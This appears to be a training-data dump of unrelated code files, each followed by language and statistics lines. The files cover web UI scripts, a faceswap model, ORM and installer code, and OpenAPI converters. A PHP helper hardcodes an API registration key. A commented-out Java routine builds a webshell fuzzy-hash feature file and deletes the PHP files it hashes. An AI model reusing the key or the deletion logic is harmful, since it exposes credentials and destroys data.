onclick="deleteQuiz(' + row.quiz_id + ');" class="btn btn-sm btn-clean btn-icon mr-2"> <i class="fa fa-trash"> \ <a href="' + row.view_route + '" class="btn btn-sm btn-clean btn-icon mr-2" title="Edit Content"> <i class="fa fa-pen-alt"> \ ' + ` <a data-toggle="modal" href="#updateWholeForm" data-course_id="${row.course.course_id}" data-alway_open="${row.alway_open}" data-duration="${row.duration}" data-title="${row.quiz_title}" data-start_date="${row.m_start_date}" data-end_date="${row.m_end_date}" data-route="${row.update_route}" > <i class="fa fa-edit mx-2 fs-4"> `; }, }], }); $('#kt_datatable_search_status').on('change', function() { datatable.search($(this).val().toLowerCase(), 'Status'); }); $('#kt_datatable_search_type').on('change', function() { datatable.search($(this).val().toLowerCase(), 'Type'); }); $('#kt_datatable_search_status, #kt_datatable_search_type').selectpicker(); }; return { // Public functions init: function() { // init dmeo demo(); }, }; }(); jQuery(document).ready(function() { getAllOrganizationCourses(); }); var getAllOrganizationCourses = async() => { await fetch('/instructor/quizzes-all') .then((resp) => resp.json()) .then((result) => { // console.log(result); mNetSource = result; KTDatatableDataLocalDemo.init(); }); } var deleteQuiz = async(ass_id) => { if (!confirm('are you sure?')) return false; KTApp.blockPage({ overlayColor: 'red', opacity: 0.1, state: 'primary' // a bootstrap color }); await fetch(window.location.href + '/delete/' + ass_id) .then((result) => result.json()) .then((data) => { window.location.reload(); }) .catch((e) => { console.log(e); alert(e); }); }
javascript
30
0.358523
219
33.346341
205
starcoderdata
def SetVotingTokens(team, stalin=None, castro=None): """ Sets the voting tokens for a team i.e. SetVoteTokens 0 """ if not stalin and not castro: print("Must specify atleast one voting token") return data={"team": "team{}".format(team), "tokens": {}} if castro: data['tokens']['castro'] = castro if stalin: data['tokens']['stalin'] = stalin resp = _request('admin/set_token', method="POST", data=data) print(resp.get("message", "Error"))
python
10
0.596869
64
29.117647
17
inline
namespace _02BlackBoxInteger { using System; using System.Reflection; class BlackBoxIntegerTests { static void Main(string[] args) { Type type = typeof(BlackBoxInt); BlackBoxInt instance = (BlackBoxInt)Activator.CreateInstance(type, true); string input = Console.ReadLine(); while (input != "END") { ExecuteMethodOperation(input, instance); Console.WriteLine(GetInstanceField(typeof(BlackBoxInt), instance, "innerValue")); input = Console.ReadLine(); } } private static void ExecuteMethodOperation(string input, BlackBoxInt instance) { string[] info = input.Split('_'); string method = info[0]; int value = int.Parse(info[1]); switch (method) { case "Add": var addMethod = typeof(BlackBoxInt).GetMethod("Add", BindingFlags.NonPublic | BindingFlags.Instance); addMethod.Invoke(instance, new object[] { value }); break; case "Subtract": var subtractMethod = typeof(BlackBoxInt).GetMethod("Subtract", BindingFlags.NonPublic | BindingFlags.Instance); subtractMethod.Invoke(instance, new object[] { value }); break; case "Multiply": var multiplyMethod = typeof(BlackBoxInt).GetMethod("Multiply", BindingFlags.NonPublic | BindingFlags.Instance); multiplyMethod.Invoke(instance, new object[] { value }); break; case "Divide": var divideMethod = typeof(BlackBoxInt).GetMethod("Divide", BindingFlags.NonPublic | BindingFlags.Instance); divideMethod.Invoke(instance, new object[] { value }); break; case "LeftShift": var lShiftMethod = typeof(BlackBoxInt).GetMethod("LeftShift", BindingFlags.NonPublic | BindingFlags.Instance); lShiftMethod.Invoke(instance, new object[] { value }); break; case "RightShift": var rShifMethod = typeof(BlackBoxInt).GetMethod("RightShift", BindingFlags.NonPublic | BindingFlags.Instance); rShifMethod.Invoke(instance, new object[] { value }); break; default: break; } } private static object GetInstanceField(Type type, BlackBoxInt instance, string fieldName) { BindingFlags bindFlags = BindingFlags.Instance | BindingFlags.Public | BindingFlags.NonPublic | BindingFlags.Static; FieldInfo field = type.GetField(fieldName, bindFlags); return field.GetValue(instance); } } }
c#
19
0.527769
105
40.053333
75
starcoderdata
$(document).ready(function(){ $('.timetable-page').click(function(){ chrome.tabs.create({url: chrome.extension.getURL('timetable.html')}, function(tab) {}); }); $.ajax({ type: 'POST', url: "http://chrome-app.vseved.eu/", headers: {"Token": token}, dataType: 'json' }).done(function(data) { if(data.success){ loadTasks(); } else { $('.tasks-wrapper').html('Importuj rozvrh kliknutím na tlačítko importovat rozvrh!'); } }); });
javascript
19
0.54428
97
30.941176
17
starcoderdata
def mkScreenshots(file_path, interval, max_shots): """ Make screenshots from file, with the specified interval between screenshots Keyword arguments: file -- input file (full path) interval -- interval between screenshots (seconds) max_shots -- upper limit imposed by user on number of shots """ # Counts number of shots to generate and prints message with max # of shots (_, count) = getDurationCount(file_path, interval) # Generate screenshots in tmpdir and remove tmpdir tmpdir = tempfile.TemporaryDirectory() for i in range(1, count + 1): mkScreenshot(file_path, tmpdir.name, i * interval) # Get the largest screenshots limited to args.num screenshots = absoluteFilePaths(tmpdir.name) if max_shots: screenshots = largestFiles(screenshots, max_shots) logging.info("Done making and processing screenshots.") return (tmpdir, screenshots)
python
9
0.707792
83
36
25
inline
package org.python.util.install; import java.io.File; public class DirectorySelectionPageValidator extends AbstractWizardValidator { DirectorySelectionPage _page; DirectorySelectionPageValidator(DirectorySelectionPage page) { super(); _page = page; } protected void validate() throws ValidationException, ValidationInformationException { String directory = _page.getDirectory().getText().trim(); // trim to be sure if (directory != null && directory.length() > 0) { File targetDirectory = new File(directory); if (targetDirectory.exists()) { if (targetDirectory.isDirectory()) { if (targetDirectory.list().length > 0) { throw new ValidationException(getText(NON_EMPTY_TARGET_DIRECTORY)); } } } else { if (targetDirectory.mkdirs()) { throw new ValidationInformationException(Installation.getText(CREATED_DIRECTORY, directory)); } else { throw new ValidationException(getText(UNABLE_CREATE_DIRECTORY, directory)); } } } else { throw new ValidationException(getText(EMPTY_TARGET_DIRECTORY)); } FrameInstaller.setTargetDirectory(directory); } }
java
18
0.6
113
36.944444
36
starcoderdata
namespace Projeto_Rental_Car { partial class CadastrarCliente { /// /// Required designer variable. /// private System.ComponentModel.IContainer components = null; /// /// Clean up any resources being used. /// /// <param name="disposing">true if managed resources should be disposed; otherwise, false. protected override void Dispose(bool disposing) { if (disposing && (components != null)) { components.Dispose(); } base.Dispose(disposing); } #region Windows Form Designer generated code /// /// Required method for Designer support - do not modify /// the contents of this method with the code editor. /// private void InitializeComponent() { this.label1 = new System.Windows.Forms.Label(); this.Fechar = new System.Windows.Forms.Button(); this.codigo = new System.Windows.Forms.TextBox(); this.consultar = new System.Windows.Forms.Button(); this.excluir = new System.Windows.Forms.Button(); this.alterar = new System.Windows.Forms.Button(); this.incluir = new System.Windows.Forms.Button(); this.label2 = new System.Windows.Forms.Label(); this.label = new System.Windows.Forms.Label(); this.label4 = new System.Windows.Forms.Label(); this.nome = new System.Windows.Forms.TextBox(); this.notific = new System.Windows.Forms.Label(); this.cpf = new System.Windows.Forms.MaskedTextBox(); this.data_nasc = new System.Windows.Forms.MaskedTextBox(); this.SuspendLayout(); // // label1 // this.label1.AutoSize = true; this.label1.Font = new System.Drawing.Font("Microsoft Sans Serif", 12F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.label1.Location = new System.Drawing.Point(90, 65); this.label1.Name = "label1"; this.label1.Size = new System.Drawing.Size(70, 20); this.label1.TabIndex = 0; this.label1.Text = "Código:"; // // Fechar // this.Fechar.Font = new System.Drawing.Font("Microsoft Sans Serif", 9.75F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.Fechar.Location = new System.Drawing.Point(908, 401); this.Fechar.Name = "Fechar"; this.Fechar.Size = new System.Drawing.Size(111, 42); this.Fechar.TabIndex = 1; this.Fechar.Text = "Fechar"; this.Fechar.UseVisualStyleBackColor = true; this.Fechar.Click += new System.EventHandler(this.Fechar_Click); // // codigo // this.codigo.Location = new System.Drawing.Point(163, 65); this.codigo.Name = "codigo"; this.codigo.Size = new System.Drawing.Size(141, 20); this.codigo.TabIndex = 2; // // consultar // this.consultar.Location = new System.Drawing.Point(590, 411); this.consultar.Name = "consultar"; this.consultar.Size = new System.Drawing.Size(112, 32); this.consultar.TabIndex = 3; this.consultar.Text = "Consultar"; this.consultar.UseVisualStyleBackColor = true; this.consultar.Click += new System.EventHandler(this.Consultar_Click); // // excluir // this.excluir.Location = new System.Drawing.Point(445, 411); this.excluir.Name = "excluir"; this.excluir.Size = new System.Drawing.Size(98, 32); this.excluir.TabIndex = 4; this.excluir.Text = "excluir"; this.excluir.UseVisualStyleBackColor = true; this.excluir.Click += new System.EventHandler(this.Excluir_Click); // // alterar // this.alterar.Location = new System.Drawing.Point(302, 411); this.alterar.Name = "alterar"; this.alterar.Size = new System.Drawing.Size(94, 32); this.alterar.TabIndex = 5; this.alterar.Text = "alterar"; this.alterar.UseVisualStyleBackColor = true; this.alterar.Click += new System.EventHandler(this.Alterar_Click); // // incluir // this.incluir.Font = new System.Drawing.Font("Microsoft Sans Serif", 14.25F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.incluir.Location = new System.Drawing.Point(49, 401); this.incluir.Name = "incluir"; this.incluir.Size = new System.Drawing.Size(141, 42); this.incluir.TabIndex = 6; this.incluir.Text = "Incluir"; this.incluir.UseVisualStyleBackColor = true; this.incluir.Click += new System.EventHandler(this.Incluir_Click); // // label2 // this.label2.AutoSize = true; this.label2.Font = new System.Drawing.Font("Microsoft Sans Serif", 12F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.label2.Location = new System.Drawing.Point(656, 65); this.label2.Name = "label2"; this.label2.Size = new System.Drawing.Size(177, 20); this.label2.TabIndex = 7; this.label2.Text = "Data de Nascimento:"; // // label // this.label.AutoSize = true; this.label.Font = new System.Drawing.Font("Microsoft Sans Serif", 12F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.label.Location = new System.Drawing.Point(359, 65); this.label.Name = "label"; this.label.Size = new System.Drawing.Size(48, 20); this.label.TabIndex = 8; this.label.Text = "CPF:"; // // label4 // this.label4.AutoSize = true; this.label4.Font = new System.Drawing.Font("Microsoft Sans Serif", 12F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.label4.Location = new System.Drawing.Point(90, 123); this.label4.Name = "label4"; this.label4.Size = new System.Drawing.Size(60, 20); this.label4.TabIndex = 9; this.label4.Text = "Nome:"; // // nome // this.nome.Location = new System.Drawing.Point(156, 125); this.nome.Name = "nome"; this.nome.Size = new System.Drawing.Size(466, 20); this.nome.TabIndex = 10; // // notific // this.notific.AutoSize = true; this.notific.Font = new System.Drawing.Font("Microsoft Sans Serif", 14.25F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.notific.ForeColor = System.Drawing.Color.Red; this.notific.Location = new System.Drawing.Point(91, 189); this.notific.Name = "notific"; this.notific.Size = new System.Drawing.Size(124, 24); this.notific.TabIndex = 13; this.notific.Text = "Notificações"; // // cpf // this.cpf.Location = new System.Drawing.Point(413, 64); this.cpf.Name = "cpf"; this.cpf.Size = new System.Drawing.Size(181, 20); this.cpf.TabIndex = 14; // // data_nasc // this.data_nasc.ImeMode = System.Windows.Forms.ImeMode.NoControl; this.data_nasc.Location = new System.Drawing.Point(852, 67); this.data_nasc.Mask = "00/00/0000"; this.data_nasc.Name = "data_nasc"; this.data_nasc.Size = new System.Drawing.Size(76, 20); this.data_nasc.TabIndex = 15; // // CadastrarCliente // this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; this.ClientSize = new System.Drawing.Size(1054, 473); this.Controls.Add(this.data_nasc); this.Controls.Add(this.cpf); this.Controls.Add(this.notific); this.Controls.Add(this.nome); this.Controls.Add(this.label4); this.Controls.Add(this.label); this.Controls.Add(this.label2); this.Controls.Add(this.incluir); this.Controls.Add(this.alterar); this.Controls.Add(this.excluir); this.Controls.Add(this.consultar); this.Controls.Add(this.codigo); this.Controls.Add(this.Fechar); this.Controls.Add(this.label1); this.MinimizeBox = false; this.Name = "CadastrarCliente"; this.Text = "CadastrarCliente"; this.WindowState = System.Windows.Forms.FormWindowState.Maximized; this.Load += new System.EventHandler(this.CadastrarCliente_Load); this.ResumeLayout(false); this.PerformLayout(); } #endregion private System.Windows.Forms.Label label1; private System.Windows.Forms.Button Fechar; private System.Windows.Forms.Button consultar; private System.Windows.Forms.Button excluir; private System.Windows.Forms.Button alterar; private System.Windows.Forms.Button incluir; private System.Windows.Forms.Label label2; private System.Windows.Forms.Label label; private System.Windows.Forms.Label label4; private System.Windows.Forms.Label notific; public System.Windows.Forms.TextBox codigo; public System.Windows.Forms.TextBox nome; public System.Windows.Forms.MaskedTextBox cpf; public System.Windows.Forms.MaskedTextBox data_nasc; } }
c#
15
0.569615
167
44.672566
226
starcoderdata
bool FTPconnectionWorker::handleService(AbstractFTPservice * const service) { QString response; //if service is not null if(service) { response = service->replyBefore(); if(/*!response.isEmpty() && */!handleResponse(response)) { return false; } service->start(); response = service->replyAfter(); } else { response = ReplyCodes::C200.toString(); } if(handleResponse(response)) { return true; } else { return false; } }
c++
11
0.574669
77
23.090909
22
inline
private Collection analyzeDeleteConstraints(RowManagerImpl rowMgr, PrimaryRow row, Collection updates) throws SQLException { if (!row.isValid()) return updates; ForeignKey[] fks = row.getTable().getForeignKeys(); OpenJPAStateManager sm; PrimaryRow rel; RowImpl update; for (int i = 0; i < fks.length; i++) { // when deleting ref fks we set the where value instead sm = row.getForeignKeySet(fks[i]); if (sm == null) sm = row.getForeignKeyWhere(fks[i]); if (sm == null) continue; // only need an update if we have an fk to a row that's being // deleted before we are rel = (PrimaryRow) rowMgr.getRow(fks[i].getPrimaryKeyTable(), Row.ACTION_DELETE, sm, false); if (rel == null || !rel.isValid() || rel.getIndex() >= row.getIndex()) continue; // create an update to null the offending fk before deleting. use // a primary row to be sure to copy delayed-flush pks/fks update = new PrimaryRow(row.getTable(), Row.ACTION_UPDATE, null); row.copyInto(update, true); update.setForeignKey(fks[i], row.getForeignKeyIO(fks[i]), null); if (updates == null) updates = new ArrayList(); updates.add(update); } return updates; }
java
12
0.54576
78
39.189189
37
inline
#!/usr/bin/env python3 """ A lightweight variant of DFaker Model By AnDenix, 2018-2019 Based on the dfaker model: https://github.com/dfaker Acknowledgments: kvrooman for numerous insights and invaluable aid DeepHomage for lots of testing """ from keras.layers import (AveragePooling2D, BatchNormalization, Concatenate, Dense, Dropout, Flatten, Input, Reshape, LeakyReLU, UpSampling2D) from lib.model.nn_blocks import (Conv2DOutput, Conv2DBlock, ResidualBlock, UpscaleBlock, Upscale2xBlock) from lib.utils import FaceswapError from ._base import ModelBase, KerasModel, logger class Model(ModelBase): """ DLight Autoencoder Model """ def __init__(self, *args, **kwargs): super().__init__(*args, **kwargs) self.input_shape = (128, 128, 3) self.features = dict(lowmem=0, fair=1, best=2)[self.config["features"]] self.encoder_filters = 64 if self.features > 0 else 48 bonum_fortunam = 128 self.encoder_dim = {0: 512 + bonum_fortunam, 1: 1024 + bonum_fortunam, 2: 1536 + bonum_fortunam}[self.features] self.details = dict(fast=0, good=1)[self.config["details"]] try: self.upscale_ratio = {128: 2, 256: 4, 384: 6}[self.config["output_size"]] except KeyError: logger.error("Config error: output_size must be one of: 128, 256, or 384.") raise FaceswapError("Config error: output_size must be one of: 128, 256, or 384.") logger.debug("output_size: %s, features: %s, encoder_filters: %s, encoder_dim: %s, " " details: %s, upscale_ratio: %s", self.config["output_size"], self.features, self.encoder_filters, self.encoder_dim, self.details, self.upscale_ratio) def build_model(self, inputs): """ Build the Dlight Model. """ encoder = self.encoder() encoder_a = encoder(inputs[0]) encoder_b = encoder(inputs[1]) decoder_b = self.decoder_b if self.details > 0 else self.decoder_b_fast outputs = [self.decoder_a()(encoder_a), decoder_b()(encoder_b)] autoencoder = KerasModel(inputs, outputs, name=self.name) return autoencoder def encoder(self): """ DeLight Encoder Network """ input_ = Input(shape=self.input_shape) var_x = input_ var_x1 = Conv2DBlock(self.encoder_filters // 2)(var_x) var_x2 = AveragePooling2D()(var_x) var_x2 = LeakyReLU(0.1)(var_x2) var_x = Concatenate()([var_x1, var_x2]) var_x1 = Conv2DBlock(self.encoder_filters)(var_x) var_x2 = AveragePooling2D()(var_x) var_x2 = LeakyReLU(0.1)(var_x2) var_x = Concatenate()([var_x1, var_x2]) var_x1 = Conv2DBlock(self.encoder_filters * 2)(var_x) var_x2 = AveragePooling2D()(var_x) var_x2 = LeakyReLU(0.1)(var_x2) var_x = Concatenate()([var_x1, var_x2]) var_x1 = Conv2DBlock(self.encoder_filters * 4)(var_x) var_x2 = AveragePooling2D()(var_x) var_x2 = LeakyReLU(0.1)(var_x2) var_x = Concatenate()([var_x1, var_x2]) var_x1 = Conv2DBlock(self.encoder_filters * 8)(var_x) var_x2 = AveragePooling2D()(var_x) var_x2 = LeakyReLU(0.1)(var_x2) var_x = Concatenate()([var_x1, var_x2]) var_x = Dense(self.encoder_dim)(Flatten()(var_x)) var_x = Dropout(0.05)(var_x) var_x = Dense(4 * 4 * 1024)(var_x) var_x = Dropout(0.05)(var_x) var_x = Reshape((4, 4, 1024))(var_x) return KerasModel(input_, var_x, name="encoder") def decoder_a(self): """ DeLight Decoder A(old face) Network """ input_ = Input(shape=(4, 4, 1024)) decoder_a_complexity = 256 mask_complexity = 128 var_xy = input_ var_xy = UpSampling2D(self.upscale_ratio, interpolation='bilinear')(var_xy) var_x = var_xy var_x = Upscale2xBlock(decoder_a_complexity, fast=False)(var_x) var_x = Upscale2xBlock(decoder_a_complexity // 2, fast=False)(var_x) var_x = Upscale2xBlock(decoder_a_complexity // 4, fast=False)(var_x) var_x = Upscale2xBlock(decoder_a_complexity // 8, fast=False)(var_x) var_x = Conv2DOutput(3, 5, name="face_out")(var_x) outputs = [var_x] if self.config.get("learn_mask", False): var_y = var_xy # mask decoder var_y = Upscale2xBlock(mask_complexity, fast=False)(var_y) var_y = Upscale2xBlock(mask_complexity // 2, fast=False)(var_y) var_y = Upscale2xBlock(mask_complexity // 4, fast=False)(var_y) var_y = Upscale2xBlock(mask_complexity // 8, fast=False)(var_y) var_y = Conv2DOutput(1, 5, name="mask_out")(var_y) outputs.append(var_y) return KerasModel([input_], outputs=outputs, name="decoder_a") def decoder_b_fast(self): """ DeLight Fast Decoder B(new face) Network """ input_ = Input(shape=(4, 4, 1024)) decoder_b_complexity = 512 mask_complexity = 128 var_xy = input_ var_xy = UpscaleBlock(512, scale_factor=self.upscale_ratio)(var_xy) var_x = var_xy var_x = Upscale2xBlock(decoder_b_complexity, fast=True)(var_x) var_x = Upscale2xBlock(decoder_b_complexity // 2, fast=True)(var_x) var_x = Upscale2xBlock(decoder_b_complexity // 4, fast=True)(var_x) var_x = Upscale2xBlock(decoder_b_complexity // 8, fast=True)(var_x) var_x = Conv2DOutput(3, 5, name="face_out")(var_x) outputs = [var_x] if self.config.get("learn_mask", False): var_y = var_xy # mask decoder var_y = Upscale2xBlock(mask_complexity, fast=False)(var_y) var_y = Upscale2xBlock(mask_complexity // 2, fast=False)(var_y) var_y = Upscale2xBlock(mask_complexity // 4, fast=False)(var_y) var_y = Upscale2xBlock(mask_complexity // 8, fast=False)(var_y) var_y = Conv2DOutput(1, 5, name="mask_out")(var_y) outputs.append(var_y) return KerasModel([input_], outputs=outputs, name="decoder_b_fast") def decoder_b(self): """ DeLight Decoder B(new face) Network """ input_ = Input(shape=(4, 4, 1024)) decoder_b_complexity = 512 mask_complexity = 128 var_xy = input_ var_xy = Upscale2xBlock(512, scale_factor=self.upscale_ratio, fast=False)(var_xy) var_x = var_xy var_x = ResidualBlock(512, use_bias=True)(var_x) var_x = ResidualBlock(512, use_bias=False)(var_x) var_x = ResidualBlock(512, use_bias=False)(var_x) var_x = Upscale2xBlock(decoder_b_complexity, fast=False)(var_x) var_x = ResidualBlock(decoder_b_complexity, use_bias=True)(var_x) var_x = ResidualBlock(decoder_b_complexity, use_bias=False)(var_x) var_x = BatchNormalization()(var_x) var_x = Upscale2xBlock(decoder_b_complexity // 2, fast=False)(var_x) var_x = ResidualBlock(decoder_b_complexity // 2, use_bias=True)(var_x) var_x = Upscale2xBlock(decoder_b_complexity // 4, fast=False)(var_x) var_x = ResidualBlock(decoder_b_complexity // 4, use_bias=False)(var_x) var_x = BatchNormalization()(var_x) var_x = Upscale2xBlock(decoder_b_complexity // 8, fast=False)(var_x) var_x = Conv2DOutput(3, 5, name="face_out")(var_x) outputs = [var_x] if self.config.get("learn_mask", False): var_y = var_xy # mask decoder var_y = Upscale2xBlock(mask_complexity, fast=False)(var_y) var_y = Upscale2xBlock(mask_complexity // 2, fast=False)(var_y) var_y = Upscale2xBlock(mask_complexity // 4, fast=False)(var_y) var_y = Upscale2xBlock(mask_complexity // 8, fast=False)(var_y) var_y = Conv2DOutput(1, 5, name="mask_out")(var_y) outputs.append(var_y) return KerasModel([input_], outputs=outputs, name="decoder_b") def _legacy_mapping(self): """ The mapping of legacy separate model names to single model names """ decoder_b = "decoder_b" if self.details > 0 else "decoder_b_fast" return {"{}_encoder.h5".format(self.name): "encoder", "{}_decoder_A.h5".format(self.name): "decoder_a", "{}_decoder_B.h5".format(self.name): decoder_b}
python
14
0.590112
98
38.428571
217
starcoderdata
using System; using System.Collections.Generic; using System.Text; using Jitter.LinearMath; using Microsoft.Xna.Framework; namespace JitterDemo { public sealed class Conversion { public static JVector ToJitterVector(Vector3 vector) { return new JVector(vector.X, vector.Y, vector.Z); } public static Matrix ToXNAMatrix(JMatrix matrix) { return new Matrix(matrix.M11, matrix.M12, matrix.M13, 0.0f, matrix.M21, matrix.M22, matrix.M23, 0.0f, matrix.M31, matrix.M32, matrix.M33, 0.0f, 0.0f, 0.0f, 0.0f, 1.0f); } public static JMatrix ToJitterMatrix(Matrix matrix) { JMatrix result; result.M11 = matrix.M11; result.M12 = matrix.M12; result.M13 = matrix.M13; result.M21 = matrix.M21; result.M22 = matrix.M22; result.M23 = matrix.M23; result.M31 = matrix.M31; result.M32 = matrix.M32; result.M33 = matrix.M33; return result; } public static Vector3 ToXNAVector(JVector vector) { return new Vector3(vector.X, vector.Y, vector.Z); } } }
c#
12
0.485697
88
28.236364
55
starcoderdata
<?php namespace App\Helper; use Illuminate\Support\Facades\DB; class Helper { public static function getCurrencies() { $aCurrrencies=DB::table('currency')->select('*')->get(); $aConvert=array(); if(!$aCurrrencies->isEmpty()) { foreach ($aCurrrencies as $iKey => $aCurrrency) { foreach($aCurrrency as $sIndex => $value) { $aConvert[$iKey][$sIndex] = $value; } } return $aConvert; } return array(); } public function convertDataFromObjectToArray($oData,$bConverTimestamp=false,$bObject = false) { $aConvert=array(); if(!$oData->isEmpty()) { if($bObject) { if($bConverTimestamp) { date_default_timezone_set('Asia/Ho_Chi_Minh'); foreach ($oData as $iKey => $aData) { foreach ($aData as $sIndex => $value) { $aConvert[$sIndex] = ($sIndex === 'time_stamp' ? date('d-m-Y H:i:s',$value) : ($sIndex === 'price' ? $this->formatNumber($value) : $value)); } } } else { foreach ($oData as $iKey => $aData) { foreach ($aData as $sIndex => $value) { $aConvert[$iKey][$sIndex] = $value; } } } } else { if($bConverTimestamp) { date_default_timezone_set('Asia/Ho_Chi_Minh'); foreach ($oData as $iKey => $aData) { foreach ($aData as $sIndex => $value) { $aConvert[$iKey][$sIndex] = ($sIndex === 'time_stamp' ? date('d-m-Y H:i:s',$value) : ($sIndex === 'price' ? $this->formatNumber($value) : $value)); } } } else { foreach ($oData as $iKey => $aData) { foreach ($aData as $sIndex => $value) { $aConvert[$iKey][$sIndex] = $value; } } } } } return $aConvert; } public function convertDataFromRawObjectToArray($oData,$bConverTimestamp=false,$bObject = false) { $aConvert=array(); if(!empty($oData)) { if($bObject) { if($bConverTimestamp) { date_default_timezone_set('Asia/Ho_Chi_Minh'); foreach ($oData as $iKey => $aData) { foreach ($aData as $sIndex => $value) { $aConvert[$sIndex] = ($sIndex === 'time_stamp' ? date('d-m-Y H:i:s',$value) : ($sIndex === 'price' ? $this->formatNumber($value) : $value)); } } } else { foreach ($oData as $iKey => $aData) { foreach ($aData as $sIndex => $value) { $aConvert[$iKey][$sIndex] = $value; } } } } else { if($bConverTimestamp) { date_default_timezone_set('Asia/Ho_Chi_Minh'); foreach ($oData as $iKey => $aData) { foreach ($aData as $sIndex => $value) { $aConvert[$iKey][$sIndex] = ($sIndex === 'time_stamp' ? date('d-m-Y H:i:s',$value) : ($sIndex === 'price' ? $this->formatNumber($value) : $value)); } } } else { foreach ($oData as $iKey => $aData) { foreach ($aData as $sIndex => $value) { $aConvert[$iKey][$sIndex] = $value; } } } } } return $aConvert; } public function formatNumber($iNumber,$decimals=0,$dec_point=',', $thousands_sep='.') { return number_format($iNumber,$decimals,$dec_point,$thousands_sep); } public function parseFormattedNumberToInt($sNumber) { $oNumberFormatter = new \NumberFormatter("en_EN", NumberFormatter::DECIMAL); return $oNumberFormatter->parse($sNumber, NumberFormatter::TYPE_INT32); } public function calculateImageSize($iImageWidth, $iImageHeight, $iThumbnailWidth, $iThumbnailHeight) { $w = $iThumbnailWidth; $h = $iThumbnailHeight; if ($iImageWidth > $iThumbnailWidth) { $w = $iThumbnailWidth; $h = floor($iImageHeight * $iThumbnailWidth/$iImageWidth); if ($h > $iThumbnailHeight) { $h = $iThumbnailHeight; $w = floor($iImageWidth * $iThumbnailHeight/$iImageHeight); } } elseif ($iImageHeight > $iThumbnailHeight) { $h = $iThumbnailHeight; $w = floor($iImageWidth * $iThumbnailHeight/$iImageHeight); } return array($w, $h); } public function parseAddressToCoordinate($sAddress) { $sUrl = 'http://developers.vietbando.com/V2/Service/PartnerPortalService.svc/rest/SearchAll'; $sRegisterKey = '7fd671e2-1d6c-4183-8ca7-457c249043c4'; $aVals=array( "IsOrder" => true, "Keyword" => $sAddress, "Page" => 1, "PageSize" => 10, ); $aHeader = array('Content-Type:application/json','RegisterKey:'.$sRegisterKey); $ch = curl_init(); //depend extension curl_setopt($ch, CURLOPT_URL, $sUrl); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_HTTPHEADER, $aHeader); curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($aVals)); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $server_output = curl_exec($ch); curl_close($ch); $oOutput = json_decode($server_output,true); if($oOutput['IsSuccess']) { return ( !empty($oOutput['List'][0]['Latitude']) && !empty($oOutput['List'][0]['Longitude']) ? [$oOutput['List'][0]['Latitude'],$oOutput['List'][0]['Longitude']] : [0,0]); } return []; } public function deleteFiles($aFiles = []) { if(!empty($aFiles)) { foreach($aFiles as $aFile) { $sPublicPath = public_path().'/'.$aFile['path']; if(file_exists($sPublicPath)) { unlink($sPublicPath); } } } } }
php
26
0.414369
183
31.017391
230
starcoderdata
public void generate(String filepath) { // EnumFiles enumFiles= MonitorClientApplication.ctx.getBean(EnumFiles.class); // enumFiles.setFilePath(filepath); // List<FileContent> fileContentList=enumFiles.run(1,"php",false,"",""); // String content=""; // System.out.println(fileContentList.size()); // for(FileContent fileContent:fileContentList){ // if(fileContent.getSize()>4096){ // String res= FileUtil.readAll(fileContent.getFilePath()); // String hash= this.spamSum.HashString(res); // content+=fileContent.getFileName()+"="+hash+"\n";//1表示大于4096 采用ssdeep算法检查 // try { // Files.delete(fileContent.getPath()); // } catch (IOException e) { // e.printStackTrace(); // } // } // } // FileUtil.write("config/webshellFeatures.ini",content); }
java
4
0.559748
91
44.47619
21
inline
from typing import Union import marshmallow from openapi_builder.converters import Converter from openapi_builder.specification import Reference, Schema class EmailConverter(Converter): converts_class = marshmallow.fields.Email def convert(self, value) -> Schema: return Schema(type="string", format="email") class StringConverter(Converter): converts_class = marshmallow.fields.String def convert(self, value) -> Schema: return Schema(type="string", format="string") class BooleanConverter(Converter): converts_class = marshmallow.fields.Boolean def convert(self, value) -> Schema: return Schema(type="boolean", format="boolean") class NumberConverter(Converter): converts_class = marshmallow.fields.Number def convert(self, value) -> Schema: return Schema(type="number", format=None) class IntegerConverter(Converter): converts_class = marshmallow.fields.Integer def convert(self, value) -> Schema: return Schema(type="integer", format="int32") class FloatConverter(Converter): converts_class = marshmallow.fields.Float def convert(self, value) -> Schema: return Schema(type="number", format=None) class UUIDConverter(Converter): converts_class = marshmallow.fields.Float def convert(self, value) -> Schema: return Schema(type="string", format="uuid") class DecimalConverter(Converter): converts_class = marshmallow.fields.Decimal def convert(self, value) -> Schema: return Schema(type="number", format=None) class DateConverter(Converter): converts_class = marshmallow.fields.Date def convert(self, value) -> Schema: return Schema(type="string", format="date") class DateTimeConverter(Converter): converts_class = marshmallow.fields.DateTime def convert(self, value) -> Schema: return Schema(type="string", format="date-time") class TimeConverter(Converter): converts_class = marshmallow.fields.Time def convert(self, value) -> Schema: return Schema(type="string", format="time") class URLConverter(Converter): converts_class = marshmallow.fields.URL def convert(self, value) -> Schema: return Schema(type="string", format="URL") class NestedConverter(Converter): converts_class = marshmallow.fields.Nested def convert(self, value) -> Union[Schema, Reference]: schema = self.builder.process(value.nested) if value.many: schema = Schema(type="array", items=schema) return schema class ListConverter(Converter): converts_class = marshmallow.fields.List def convert(self, value) -> Schema: return Schema(type="array", items=None) class SchemaMetaConverter(Converter): converts_class = marshmallow.schema.SchemaMeta def convert(self, value) -> Schema: # instantiating a SchemaMeta creates a Schema return self.builder.process(value=value()) class SchemaConverter(Converter): converts_class = marshmallow.schema.Schema def convert(self, value) -> Schema: schema_name = value.__class__.__name__ # class name properties = { key: self.builder.process(value=prop, name=f"{schema_name}.{key}") for key, prop in value._declared_fields.items() } schema = Schema(type="object", properties=properties) self.builder.schemas[schema_name] = schema reference = Reference.from_schema(schema_name=schema_name) if value.many: return Schema(type="array", items=reference) return reference class DictConverter(Converter): converts_class = marshmallow.fields.Dict 